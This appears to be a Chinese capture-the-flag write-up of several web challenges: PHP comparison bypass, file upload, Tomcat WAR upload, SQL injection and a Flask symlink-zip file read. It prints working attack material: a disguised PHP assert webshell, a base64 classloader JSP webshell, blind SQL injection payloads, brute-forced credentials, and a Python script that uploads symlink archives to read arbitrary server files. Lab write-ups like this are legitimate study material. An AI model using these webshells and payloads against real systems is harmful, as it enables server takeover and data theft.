web
1z_php
?0o0[]=1A&OoO[]=2023a
include "flag.php":尝试包含名为 "flag.php" 的文件。这意味着它会尝试引入一个名为 "flag.php" 的脚本文件,其中可能包含一些敏感信息或标志。
error_reporting(0):设置错误报告级别为 0,即禁用错误报告。这样做可能是为了隐藏潜在的错误信息。
isset($_GET['OoO']):检查是否存在名为 "OoO" 的 GET 请求参数。
isset($_GET['0o0']):检查是否存在名为 "0o0" 的 GET 请求参数。
$_GET['OoO']==2023:检查名为 "OoO" 的 GET 请求参数的值是否等于 2023。
intval($_GET['OoO'][0])==2023:将名为 "OoO" 的 GET 请求参数的第一个字符转换为整数,并检查是否等于 2023。
$_GET['0o0']==$_GET['OoO']:检查名为 "0o0" 的 GET 请求参数的值是否等于名为 "OoO" 的 GET 请求参数的值。
md5($_GET['0o0'])==md5($_GET['OoO']):对名为 "0o0" 和 "OoO" 的 GET 请求参数的值分别进行 MD5 哈希,并检查它们的哈希值是否相等。
!(!(include"flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO']))):这是一个逻辑表达式,用于检查多个条件是否为假(即不存在)。如果所有条件均为假,即没有任何条件得到满足,则表示用户提供的输入不符合要求。
? $flag : str_repeat(highlight_file(__FILE__), 0):这是一个三元运算符,根据前面的逻辑表达式的结果进行选择:
- 如果逻辑表达式的结果为真(即用户提供的输入符合要求),则返回变量 $flag 的值。
- 如果逻辑表达式的结果为假(即用户提供的输入不符合要求),则返回 highlight_file(__FILE__) 的结果,即将当前脚本文件的内容作为 HTML 高亮代码显示出来。
?0o0[]=1A&OoO[]=2023a
1z_upload
先用bp爆破出用户密码
admin/admin12345
文件上传
源码中
if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {$image = $_FILES['image']['name'];$ext = pathinfo($image, PATHINFO_EXTENSION);if (strtolower($ext) == 'jpg') {$image = $_FILES['image']['name'];$image_content = file_get_contents($_FILES['image']['tmp_name']);$search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];foreach ($search_patterns as $pattern) {if (preg_match($pattern, $image_content)) {header("Location: admin_get_hack.php?id=666");exit();}}$directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";$uploadDirectory .= $image;move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);}else {header("Location: admin_get_hack.php?id=6");exit();}
}$query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";$result = mysqli_query($conn, $query);if($result){$_SESSION['book_success'] = "New Book has been added successfully";header("Location: admin_book.php");} else {$err = "Can't add new data " . mysqli_error($conn);}}
要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg
用request传参
GIF89a?
<script language='php'>@assert($_REQUEST['abc']);</script>
成功上传文件
根据所给的源码可以知道文件路径
admin_baohan.php?file=./bootstrap/img/haha.jpg
POST:bthcls=var_dump(file_get_contents('./flag.php'));
最后得到flag
签到O.o?
先弱口令爆破账户密码:manager/1q2w3e4r
jsp木马
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("1234");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
要求上传war文件,先写好jsp木马,然后将jsp文件压缩为zip,最后将zip文件的后缀名改为war,上传的文件为war文件
http://192.168.31.60:8081/haha/haha.jsp
蚁剑连接
找到flag
1z_sql
bp抓包爆破
账户密码:admin/8888888
ua头报错注入
拼接flag
1z_Sql2.0
输入:'or(1<>1)#
输入:'or(length(database())>10)#
无论输入什么,都返回NoNoNo!
爆破表和字段
拿到的提示也没用
爆数据库
(查询当前数据库的名称,并将其倒序输出,取其中第10个字符的 ASCII 码值进行比较)
'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#
- DATABASE() 函数:用于返回当前数据库的名称。
- SUBSTR() 函数:用于截取字符串的一部分。
- REVERSE() 函数:用于将字符串反转。
- ORD() 函数:用于返回给定字符的 ASCII 码值。
查询 yunxi_exam 数据库中的 bighacker2 表,并获取其中名为 hack123 的字段的所有数据:
'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
r2))from(1)))from(52)))<>87)#
- SUBSTR() 函数:用于截取字符串的一部分。
- REVERSE() 函数:用于将字符串反转。
- GROUP_CONCAT() 函数:用于将多个行合并为一个字符串,通常用于将查询结果中多个字段合并成一个。
- ORD() 函数:用于返回给定字符的 ASCII 码值。
1z_flask
这一题主要考查软连接
要求上传zip,然后制作软链接读取etc/passwd
文件
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
上传zip,得到
成功被执行,制作读取/flag
的软连接,但是未能得到回显
猜测可能是test
用户权限的问题,尝试以admin
用户登录
因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test
用户登陆,查看Cookie:
session:"eyJ1c2VybmFtZSI6InRlc3QifQ.GBLRNQ.edinN7_CPSFgU_fUl_HRVgtHLmQ"
很有可能是Flask的框架,尝试使用Session解密脚本:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))
可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表。
制作读取该文件的软连接:
ln -s /proc/self/environ environ
zip -y environ.zip environ
上传文件
发现其存在UWSGI_INI=/app/uwsgi.ini
,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP
uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议
发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取
在 uWSGI 中,module 是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码
/app/uwsgi.ini里面找到了这个语句,他是加载了hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块
那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py
运行脚本得到flag
import os
import requests
import sysdef make_zip():os.system('ln -s ' + sys.argv[2] + ' test_exp')os.system('zip -y test_exp.zip test_exp')def run():make_zip()res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})print(res.text)os.system('rm -rf test_exp')os.system('rm -rf test_exp.zip')if __name__ == '__main__':run()
python3 python.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py